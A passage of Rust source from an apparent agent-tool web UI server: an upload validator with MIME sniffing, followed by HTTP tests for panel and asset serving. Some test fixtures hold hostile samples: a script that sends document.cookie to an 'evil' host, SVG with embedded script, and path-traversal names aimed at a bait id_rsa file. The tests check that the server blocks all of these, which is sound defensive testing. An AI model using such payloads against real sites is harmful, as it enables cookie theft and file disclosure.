4753 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4754 ))
4755 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4756 }
4757 if data.is_empty() {
4758 return Err(ApiError::bad_request("attachment is empty"));
4759 }
4760 let declared = declared_mime(headers)?;
4761 match sniffed_mime(data) {
4762 Some(sniffed) if sniffed == declared => Ok(declared),
4763 Some(sniffed) => Err(ApiError::bad_request(format!(
4764 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4765 ))),
4766 None => Err(ApiError::bad_request(
4767 "the file's bytes do not match any accepted image format",
4768 )),
4769 }
4770}
4771
4772fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4776 let raw = headers
4777 .get(header::CONTENT_TYPE)
4778 .and_then(|v| v.to_str().ok())
4779 .unwrap_or("")
4780 .split(';')
4781 .next()
4782 .unwrap_or("")
4783 .trim()
4784 .to_ascii_lowercase();
4785 ATTACHMENT_MIME_WHITELIST
4786 .iter()
4787 .find(|&&m| m == raw)
4788 .copied()
4789 .ok_or_else(|| {
4790 if raw == "image/svg+xml" {
4791 ApiError::bad_request(
4792 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4793 not just a picture",
4794 )
4795 } else if raw.is_empty() {
4796 ApiError::bad_request("Content-Type is required for an attachment upload")
4797 } else {
4798 ApiError::bad_request(format!(
4799 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4800 image/gif or image/webp"
4801 ))
4802 }
4803 })
4804}
4805
4806fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4809 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4810 Some("image/png")
4811 } else if data.starts_with(b"\xff\xd8\xff") {
4812 Some("image/jpeg")
4813 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4814 Some("image/gif")
4815 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4816 Some("image/webp")
4817 } else {
4818 None
4819 }
4820}
4821
4822fn filename_header(headers: &HeaderMap) -> String {
4828 headers
4829 .get(FILENAME_HEADER)
4830 .and_then(|v| v.to_str().ok())
4831 .map(str::trim)
4832 .filter(|s| !s.is_empty())
4833 .unwrap_or("attachment")
4834 .to_owned()
4835}
4836
4837fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4844 let content_type = ATTACHMENT_MIME_WHITELIST
4845 .iter()
4846 .find(|&&m| m == mime)
4847 .copied()
4848 .unwrap_or("application/octet-stream");
4849 (
4850 [
4851 (header::CONTENT_TYPE, content_type),
4852 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4853 ],
4854 body,
4855 )
4856 .into_response()
4857}
4858
4859async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4867 let repo = repo.to_path_buf();
4868 blocking(move || {
4869 let (cfg, _) = Config::discover(&repo, None)?;
4870 Ok(cfg)
4871 })
4872 .await
4873}
4874
4875fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4881 let mut hits = ids
4882 .into_iter()
4883 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4884 match (hits.next(), hits.next()) {
4885 (Some(one), None) => Ok(one),
4886 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4887 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4888 "`{prefix}` matches more than one {what}, including {a} and {b}"
4889 ))),
4890 }
4891}
4892
4893#[cfg(test)]
4894mod tests {
4895
4896 #[test]
4897 fn holder_reads_the_lease_not_the_record() {
4898 let mut q = Question::new(
4899 "run".to_owned(),
4900 "implement".to_owned(),
4901 "impl-A".to_owned(),
4902 "which?".to_owned(),
4903 String::new(),
4904 Vec::new(),
4905 );
4906 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
4907 q.cwd = Some("/tmp".to_owned());
4908 assert_eq!(holder_of(&q, None), Some("nobody"));
4909 let beat = |kind, ago: i64| ask::Lease {
4910 kind,
4911 pid: 1,
4912 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
4913 .unwrap(),
4914 };
4915 let fresh = beat(ask::WaiterKind::Asker, 1);
4916 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
4917 let daemon = beat(ask::WaiterKind::Daemon, 1);
4918 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
4919 let stale = beat(ask::WaiterKind::Asker, 3600);
4920 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
4921 }
4922 use pretty_assertions::assert_eq;
4923 use serde_json::Value;
4924 use tempfile::TempDir;
4925 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4926
4927 use super::*;
4928 use crate::config::Config;
4929 use crate::queue::{Source, TaskStatus};
4930
4931 const SETTLE_STEPS: usize = 3_000;
4942
4943 struct Fixture {
4949 home: TempDir,
4950 addr: SocketAddr,
4951 }
4952
4953 impl Fixture {
4954 async fn start() -> Self {
4955 Self::with_loop(launch_idle).await
4956 }
4957
4958 async fn with_loop(launch: Launch) -> Self {
4960 let home = TempDir::new().expect("temp home");
4961 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4962 Self { home, addr }
4963 }
4964
4965 async fn with_repo(repo: PathBuf) -> Self {
4969 let home = TempDir::new().expect("temp home");
4970 let addr = Self::serve(home.path(), repo, launch_idle).await;
4971 Self { home, addr }
4972 }
4973
4974 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4975 let queue = Queue::at(home.join("queue"));
4976 let runs = home.join("runs");
4977 std::fs::create_dir_all(&runs).expect("runs dir");
4978 let worktrees = home.join("wt").join("magi");
4979 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4980 let ui = Ui::new(
4981 queue,
4982 Questions::at(home.join("questions")),
4983 Talks::at(home.join("talks")),
4984 runs,
4985 home.to_path_buf(),
4986 repo,
4987 )
4988 .with_worktrees_root(worktrees)
4989 .with_launch(launch);
4990 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4991 .await
4992 .expect("bind loopback");
4993 let addr = listener.local_addr().expect("local addr");
4994 tokio::spawn(async move {
4995 let _ = axum::serve(listener, ui.router()).await;
4996 });
4997 addr
4998 }
4999
5000 fn queue(&self) -> Queue {
5001 Queue::at(self.home.path().join("queue"))
5002 }
5003
5004 fn questions(&self) -> Questions {
5005 Questions::at(self.home.path().join("questions"))
5006 }
5007
5008 fn talks(&self) -> Talks {
5009 Talks::at(self.home.path().join("talks"))
5010 }
5011
5012 fn runs(&self) -> PathBuf {
5013 self.home.path().join("runs")
5014 }
5015
5016 async fn get(&self, path: &str) -> Res {
5017 request(self.addr, "GET", path, None).await
5018 }
5019
5020 async fn head(&self, path: &str) -> Res {
5025 request(self.addr, "HEAD", path, None).await
5026 }
5027
5028 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5029 request(self.addr, "POST", path, body).await
5030 }
5031
5032 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5033 request_with(self.addr, "GET", path, None, extra).await
5034 }
5035
5036 async fn delete(&self, path: &str) -> Res {
5037 request(self.addr, "DELETE", path, None).await
5038 }
5039
5040 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5042 request_bytes(self.addr, path, headers, body).await
5043 }
5044 }
5045
5046 struct Res {
5047 status: u16,
5048 headers: String,
5049 head: String,
5054 body: String,
5055 bytes: Vec<u8>,
5059 }
5060
5061 impl Res {
5062 fn json(&self) -> Value {
5063 serde_json::from_str(&self.body)
5064 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5065 }
5066
5067 fn header(&self, name: &str) -> Option<&str> {
5069 self.head.lines().find_map(|line| {
5070 let (key, value) = line.split_once(':')?;
5071 key.trim()
5072 .eq_ignore_ascii_case(name)
5073 .then(|| value.trim_start().trim_end_matches('\r'))
5074 })
5075 }
5076 }
5077
5078 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5081 request_with(addr, method, path, body, &[]).await
5082 }
5083
5084 async fn request_with(
5088 addr: SocketAddr,
5089 method: &str,
5090 path: &str,
5091 body: Option<&str>,
5092 extra: &[(&str, &str)],
5093 ) -> Res {
5094 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5095 for (name, value) in extra {
5096 head.push_str(&format!("{name}: {value}\r\n"));
5097 }
5098 if let Some(body) = body {
5099 head.push_str("Content-Type: application/json\r\n");
5100 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5101 }
5102 head.push_str("\r\n");
5103 if let Some(body) = body {
5104 head.push_str(body);
5105 }
5106 let mut socket = tokio::net::TcpStream::connect(addr)
5107 .await
5108 .expect("connect to the test server");
5109 socket
5110 .write_all(head.as_bytes())
5111 .await
5112 .expect("write request");
5113 let mut raw = Vec::new();
5114 socket.read_to_end(&mut raw).await.expect("read response");
5115 let split = raw
5118 .windows(4)
5119 .position(|w| w == b"\r\n\r\n")
5120 .expect("a header block");
5121 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5122 let bytes = raw[split + 4..].to_vec();
5123 let status = head
5124 .lines()
5125 .next()
5126 .and_then(|line| line.split_whitespace().nth(1))
5127 .and_then(|code| code.parse().ok())
5128 .expect("a status line");
5129 Res {
5130 status,
5131 headers: head.to_lowercase(),
5132 head,
5133 body: String::from_utf8_lossy(&bytes).into_owned(),
5134 bytes,
5135 }
5136 }
5137
5138 async fn request_bytes(
5144 addr: SocketAddr,
5145 path: &str,
5146 headers: &[(&str, &str)],
5147 body: &[u8],
5148 ) -> Res {
5149 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5150 for (name, value) in headers {
5151 head.push_str(&format!("{name}: {value}\r\n"));
5152 }
5153 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5154 let mut socket = tokio::net::TcpStream::connect(addr)
5155 .await
5156 .expect("connect to the test server");
5157 socket
5158 .write_all(head.as_bytes())
5159 .await
5160 .expect("write request head");
5161 socket.write_all(body).await.expect("write request body");
5162 let mut raw = Vec::new();
5163 socket.read_to_end(&mut raw).await.expect("read response");
5164 let split = raw
5165 .windows(4)
5166 .position(|w| w == b"\r\n\r\n")
5167 .expect("a header block");
5168 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5169 let bytes = raw[split + 4..].to_vec();
5170 let status = head
5171 .lines()
5172 .next()
5173 .and_then(|line| line.split_whitespace().nth(1))
5174 .and_then(|code| code.parse().ok())
5175 .expect("a status line");
5176 Res {
5177 status,
5178 headers: head.to_lowercase(),
5179 head,
5180 body: String::from_utf8_lossy(&bytes).into_owned(),
5181 bytes,
5182 }
5183 }
5184
5185 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5187 let mut state = RunState::new(
5188 PathBuf::from("/repo/magi"),
5189 "main".to_owned(),
5190 "0123456789abcdef".to_owned(),
5191 "Add a web UI\n\nMobile first.".to_owned(),
5192 Config::default(),
5193 );
5194 state.id = id.to_owned();
5195 state.status = status;
5196 let dir = runs.join(id);
5197 std::fs::create_dir_all(&dir).expect("run dir");
5198 std::fs::write(
5199 dir.join("run.json"),
5200 serde_json::to_string_pretty(&state).expect("serialize run"),
5201 )
5202 .expect("write run.json");
5203 }
5204
5205 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5209 let mut state = RunState::new(
5210 PathBuf::from(repo),
5211 "main".to_owned(),
5212 "0123456789abcdef".to_owned(),
5213 "task".to_owned(),
5214 Config::default(),
5215 );
5216 state.id = id.to_owned();
5217 state.status = status;
5218 let dir = runs.join(id);
5219 std::fs::create_dir_all(&dir).expect("run dir");
5220 std::fs::write(
5221 dir.join("run.json"),
5222 serde_json::to_string_pretty(&state).expect("serialize run"),
5223 )
5224 .expect("write run.json");
5225 }
5226
5227 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5228 let body = serde_json::json!({
5229 "schema": 1,
5230 "pid": 4242,
5231 "started_at": Timestamp::now().to_string(),
5232 "updated_at": updated_at.to_string(),
5233 "idle": false,
5234 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5235 "completed": 7,
5236 "polls": 143,
5237 });
5238 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5239 }
5240
5241 fn launch_idle(
5251 _opts: daemon::Opts,
5252 stop: daemon::Stop,
5253 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5254 Box::pin(async move {
5255 while !stop.stopped() {
5256 tokio::time::sleep(Duration::from_millis(2)).await;
5257 }
5258 Ok(())
5259 })
5260 }
5261
5262 fn launch_broken(
5265 _opts: daemon::Opts,
5266 _stop: daemon::Stop,
5267 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5268 Box::pin(async {
5269 Err(anyhow::anyhow!(
5270 "publish the daemon status file: read-only file system"
5271 ))
5272 })
5273 }
5274
5275 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5282 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5283
5284 fn launch_knocking_on_the_way_out(
5291 _opts: daemon::Opts,
5292 stop: daemon::Stop,
5293 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5294 Box::pin(async move {
5295 while !stop.stopped() {
5296 tokio::time::sleep(Duration::from_millis(2)).await;
5297 }
5298 let addr = PARK_KNOCK
5299 .lock()
5300 .expect("park knock")
5301 .expect("the test set an address");
5302 let heard = request(addr, "GET", "/api/health", None).await.status;
5303 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5304 Ok(())
5305 })
5306 }
5307
5308 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5317 for _ in 0..SETTLE_STEPS {
5318 let view = fx.get("/api/loop").await.json();
5319 if want(&view) {
5320 return view;
5321 }
5322 tokio::time::sleep(Duration::from_millis(10)).await;
5323 }
5324 panic!(
5325 "the loop never settled: {}",
5326 fx.get("/api/loop").await.json()
5327 );
5328 }
5329
5330 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5332 let store = fx.questions();
5333 let mut q = Question::new(
5334 "20260902-000000-beef".to_owned(),
5335 "implement".to_owned(),
5336 "impl-A".to_owned(),
5337 summary.to_owned(),
5338 "because it matters".to_owned(),
5339 choices.iter().map(|c| (*c).to_owned()).collect(),
5340 );
5341 store.put(&mut q).expect("put question");
5342 q.id
5343 }
5344
5345 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5351 let store = fx.questions();
5352 let mut q = Question::new(
5353 "20260902-000000-beef".to_owned(),
5354 "land".to_owned(),
5355 "fix".to_owned(),
5356 "Merge this?".to_owned(),
5357 "the diff is in the panel".to_owned(),
5358 vec!["merge".to_owned(), "hold".to_owned()],
5359 );
5360 let staging = fx.home.path().join("staging");
5363 std::fs::create_dir_all(&staging).expect("staging dir");
5364 let sources: Vec<PathBuf> = assets
5365 .iter()
5366 .map(|(name, bytes)| {
5367 let path = staging.join(name);
5368 std::fs::write(&path, bytes).expect("write staged asset");
5369 path
5370 })
5371 .collect();
5372 store
5373 .put_panel(&mut q, html, &sources)
5374 .expect("write the panel");
5375 store.put(&mut q).expect("put question");
5376 q.id
5377 }
5378
5379 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5388 let store = fx.talks();
5389 std::fs::create_dir_all(store.root()).expect("talks dir");
5390 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5391 .expect("serialize a seat");
5392 let body = serde_json::json!({
5393 "schema": 1,
5394 "id": id,
5395 "repo": "/repo/magi",
5396 "agent": "mock",
5397 "status": status,
5398 "turns": [],
5399 "created_at": Timestamp::now().to_string(),
5400 "updated_at": Timestamp::now().to_string(),
5401 "seat": seat,
5402 });
5403 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5404 store.get(id).expect("the seeded talk has to be readable");
5405 id.to_owned()
5406 }
5407
5408 #[tokio::test]
5409 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5410 let fx = Fixture::start().await;
5411 let id = panel(
5412 &fx,
5413 "<h1>Merge?</h1><img src=\"diff.svg\">",
5414 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5415 );
5416
5417 for path in [
5418 format!("/api/questions/{id}/panel"),
5419 format!("/api/questions/{id}/asset/diff.svg"),
5420 ] {
5421 let res = fx.get(&path).await;
5422 assert_eq!(res.status, 200, "{path}: {}", res.body);
5423 assert_eq!(
5429 res.header("content-security-policy"),
5430 Some(
5431 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5432 font-src data:; base-uri 'none'; form-action 'none'; \
5433 frame-ancestors 'self'"
5434 ),
5435 "{path} is the only thing between a hostile panel and the tailnet"
5436 );
5437 assert_eq!(
5438 res.header("x-content-type-options"),
5439 Some("nosniff"),
5440 "{path}: a browser must not re-decide the type we sent"
5441 );
5442 assert_eq!(
5443 res.header("referrer-policy"),
5444 Some("no-referrer"),
5445 "{path}: a panel must not leak the question id off the machine"
5446 );
5447
5448 let pre = fx.head(&path).await;
5453 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5454 assert_eq!(
5455 pre.header("content-security-policy"),
5456 res.header("content-security-policy"),
5457 "{path}: the preflight carries the same policy"
5458 );
5459 assert_eq!(
5460 pre.header("content-type"),
5461 res.header("content-type"),
5462 "{path}: the preflight carries the same type"
5463 );
5464 }
5465 }
5466
5467 #[tokio::test]
5468 async fn a_panel_reaches_the_browser_byte_for_byte() {
5469 let fx = Fixture::start().await;
5470 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5475 let id = panel(&fx, html, &[]);
5476
5477 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5478
5479 assert_eq!(res.status, 200);
5480 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5481 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5482 assert_eq!(
5483 res.header("content-disposition"),
5484 None,
5485 "the panel itself is rendered in the frame, not downloaded"
5486 );
5487 }
5488
5489 #[tokio::test]
5490 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5491 let fx = Fixture::start().await;
5492 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5493 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5494 let id = panel(
5495 &fx,
5496 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5497 &[("diff.svg", svg), ("shot.png", png)],
5498 );
5499
5500 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5501 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5502
5503 assert_eq!(as_svg.status, 200);
5504 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5505 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5510
5511 assert_eq!(as_png.status, 200);
5512 assert_eq!(as_png.header("content-type"), Some("image/png"));
5513 assert_eq!(
5514 as_png.header("content-disposition"),
5515 None,
5516 "a raster image has no execution surface, so tapping it still shows it"
5517 );
5518 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5519 }
5520
5521 #[tokio::test]
5522 async fn an_html_asset_is_never_served_as_html() {
5523 let fx = Fixture::start().await;
5524 let id = panel(
5525 &fx,
5526 "<p>see the notes</p>",
5527 &[
5528 (
5529 "notes.html",
5530 b"<script>fetch('http://evil/'+document.cookie)</script>",
5531 ),
5532 ("hook.js", b"fetch('http://evil/')"),
5533 ("data.json", b"{}"),
5534 ("HEADLINE.TXT", b"plain"),
5535 ],
5536 );
5537
5538 for name in ["notes.html", "hook.js", "data.json"] {
5539 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5540 assert_eq!(res.status, 200, "{name}: {}", res.body);
5541 assert_eq!(
5546 res.header("content-type"),
5547 Some("application/octet-stream"),
5548 "{name} must not be a type the browser will execute or render"
5549 );
5550 }
5551 let txt = fx
5554 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5555 .await;
5556 assert_eq!(
5557 txt.header("content-type"),
5558 Some("text/plain; charset=utf-8")
5559 );
5560 }
5561
5562 #[tokio::test]
5563 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5564 let fx = Fixture::start().await;
5565 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5566 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5570
5571 for encoded in [
5578 "%2e%2e%2fid_rsa",
5579 "..%2fid_rsa",
5580 "..%5cid_rsa",
5581 "%2e%2e%5cid_rsa",
5582 "diff%00.svg",
5583 "..",
5584 ".hidden",
5585 "%2e%2e%2f%2e%2e%2fid_rsa",
5586 ] {
5587 let res = fx
5588 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5589 .await;
5590 assert_eq!(
5591 res.status, 400,
5592 "`{encoded}` has to be refused by name, not looked up: {}",
5593 res.body
5594 );
5595 assert!(res.json()["error"].is_string(), "{}", res.body);
5596 }
5597
5598 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5604 let res = fx
5605 .get(&format!("/api/questions/{id}/asset/{literal}"))
5606 .await;
5607 assert_eq!(
5608 res.status, 404,
5609 "`{literal}` must not match the asset route at all: {}",
5610 res.body
5611 );
5612 }
5613 }
5614
5615 #[tokio::test]
5616 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5617 let fx = Fixture::start().await;
5618 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5619 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5620
5621 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5625 assert_eq!(none.status, 404, "{}", none.body);
5626 assert!(none.json()["error"].is_string(), "{}", none.body);
5627 assert_eq!(
5628 fx.head(&format!("/api/questions/{plain}/panel"))
5629 .await
5630 .status,
5631 404,
5632 "the preflight is the only way the client can learn this"
5633 );
5634
5635 let missing = fx
5637 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5638 .await;
5639 assert_eq!(missing.status, 404, "{}", missing.body);
5640 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5641
5642 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5644 assert_eq!(
5645 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5646 404
5647 );
5648 }
5649
5650 #[tokio::test]
5651 async fn a_run_with_an_open_question_reads_as_waiting() {
5652 let fx = Fixture::start().await;
5653 let run = "20260902-000000-beef".to_owned();
5654 write_run(&fx.runs(), &run, RunStatus::Implementing);
5655
5656 let before = fx.get("/api/runs").await.json();
5657 assert_eq!(before[0]["waiting"], false, "{before}");
5658
5659 let store = fx.questions();
5660 let mut q = Question::new(
5661 run.clone(),
5662 "implement".to_owned(),
5663 "impl-A".to_owned(),
5664 "Which backend?".to_owned(),
5665 String::new(),
5666 vec!["SQLite".to_owned()],
5667 );
5668 store.put(&mut q).expect("put");
5669
5670 let during = fx.get("/api/runs").await.json();
5671 assert_eq!(during[0]["waiting"], true, "{during}");
5672
5673 q.answer(Answer::Choice("SQLite".to_owned()))
5676 .expect("answer");
5677 store.put(&mut q).expect("put");
5678 let after = fx.get("/api/runs").await.json();
5679 assert_eq!(after[0]["waiting"], false, "{after}");
5680 }
5681
5682 #[tokio::test]
5683 async fn an_open_question_is_listed_and_counted_by_health() {
5684 let fx = Fixture::start().await;
5685 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5686
5687 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5688 let listed = fx.get("/api/questions").await.json();
5689 assert_eq!(listed.as_array().expect("array").len(), 1);
5690 assert_eq!(listed[0]["id"], id);
5691 assert_eq!(listed[0]["status"], "open");
5692 assert_eq!(listed[0]["choices"][1], "Redis");
5693 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5696 }
5697
5698 #[tokio::test]
5699 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5700 let fx = Fixture::start().await;
5701 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5702 let path = format!("/api/questions/{id}/answer");
5703
5704 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5705 assert_eq!(res.status, 200, "{}", res.body);
5706 let body = res.json();
5707 assert_eq!(body["status"], "answered");
5708 assert_eq!(body["answer"]["choice"], "Redis");
5709
5710 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5714 assert_eq!(again.status, 409, "{}", again.body);
5715 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5716 }
5717
5718 #[tokio::test]
5719 async fn saying_something_appends_a_turn_without_answering() {
5720 let fx = Fixture::start().await;
5721 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5722 let path = format!("/api/questions/{id}/say");
5723
5724 let res = fx
5725 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5726 .await;
5727 assert_eq!(res.status, 200, "{}", res.body);
5728 let body = res.json();
5729 assert_eq!(body["status"], "open", "talking back is not a decision");
5730 assert_eq!(body["answer"], Value::Null);
5731 assert_eq!(body["thread"][0]["who"], "operator");
5732 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5733 assert_eq!(body["waiting_on_agent"], true);
5734 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5736 }
5737
5738 #[tokio::test]
5739 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5740 let fx = Fixture::start().await;
5741 let store = fx.questions();
5742 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5743 assert_eq!(
5744 fx.get("/api/health").await.json()["questions_needs_owner"],
5745 1
5746 );
5747
5748 let res = fx
5754 .post(
5755 &format!("/api/questions/{id}/say"),
5756 Some(r#"{"body":"why not Postgres?"}"#),
5757 )
5758 .await;
5759 assert_eq!(res.status, 200, "{}", res.body);
5760 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5761 assert_eq!(
5762 fx.get("/api/health").await.json()["questions_needs_owner"],
5763 0,
5764 "waiting on the agent is not waiting on the owner"
5765 );
5766
5767 let mut q = store.get(&id).expect("get");
5771 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5772 .expect("reply");
5773 store.put(&mut q).expect("put");
5774 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5775 assert_eq!(
5776 fx.get("/api/health").await.json()["questions_needs_owner"],
5777 1,
5778 "the agent's reply is what should light the banner back up"
5779 );
5780 }
5781
5782 #[tokio::test]
5783 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5784 let fx = Fixture::start().await;
5785 let store = fx.questions();
5786
5787 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5788 let res = fx
5789 .post(
5790 &format!("/api/questions/{empty_id}/say"),
5791 Some(r#"{"body":" "}"#),
5792 )
5793 .await;
5794 assert_eq!(res.status, 400, "{}", res.body);
5795
5796 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5797 let mut answered = store.get(&answered_id).expect("get");
5798 answered
5799 .answer(Answer::Choice("SQLite".to_owned()))
5800 .expect("answer");
5801 store.put(&mut answered).expect("put");
5802 let res = fx
5803 .post(
5804 &format!("/api/questions/{answered_id}/say"),
5805 Some(r#"{"body":"still there?"}"#),
5806 )
5807 .await;
5808 assert_eq!(res.status, 409, "{}", res.body);
5809
5810 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5811 let mut abandoned = store.get(&abandoned_id).expect("get");
5812 abandoned.abandon("timed out");
5813 store.put(&mut abandoned).expect("put");
5814 let res = fx
5815 .post(
5816 &format!("/api/questions/{abandoned_id}/say"),
5817 Some(r#"{"body":"still there?"}"#),
5818 )
5819 .await;
5820 assert_eq!(res.status, 409, "{}", res.body);
5821 }
5822
5823 #[tokio::test]
5824 async fn an_answer_the_question_does_not_offer_is_refused() {
5825 let fx = Fixture::start().await;
5826 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5827 let path = format!("/api/questions/{id}/answer");
5828
5829 for body in [
5830 r#"{"choice":"Postgres"}"#,
5831 r#"{"text":"whatever you think"}"#,
5832 r#"{"choice":"Redis","text":"both"}"#,
5833 r#"{}"#,
5834 ] {
5835 let res = fx.post(&path, Some(body)).await;
5836 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5837 assert!(res.json()["error"].is_string(), "{}", res.body);
5838 }
5839 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5841 }
5842
5843 #[tokio::test]
5844 async fn a_free_text_question_takes_text_and_not_a_choice() {
5845 let fx = Fixture::start().await;
5846 let id = ask(&fx, "What should the flag be called?", &[]);
5847 let path = format!("/api/questions/{id}/answer");
5848
5849 assert_eq!(
5850 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5851 400
5852 );
5853 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5854 assert_eq!(res.status, 200, "{}", res.body);
5855 assert_eq!(res.json()["answer"]["text"], "--json");
5856 }
5857
5858 #[tokio::test]
5859 async fn an_unknown_question_is_a_json_404() {
5860 let fx = Fixture::start().await;
5861 let res = fx
5862 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5863 .await;
5864 assert_eq!(res.status, 404, "{}", res.body);
5865 assert!(res.json()["error"].is_string());
5866 }
5867
5868 #[tokio::test]
5869 async fn notifications_list_read_dismiss_and_health_agree() {
5870 let fx = Fixture::start().await;
5871 let store = Notices::at(fx.home.path().join("notifications"));
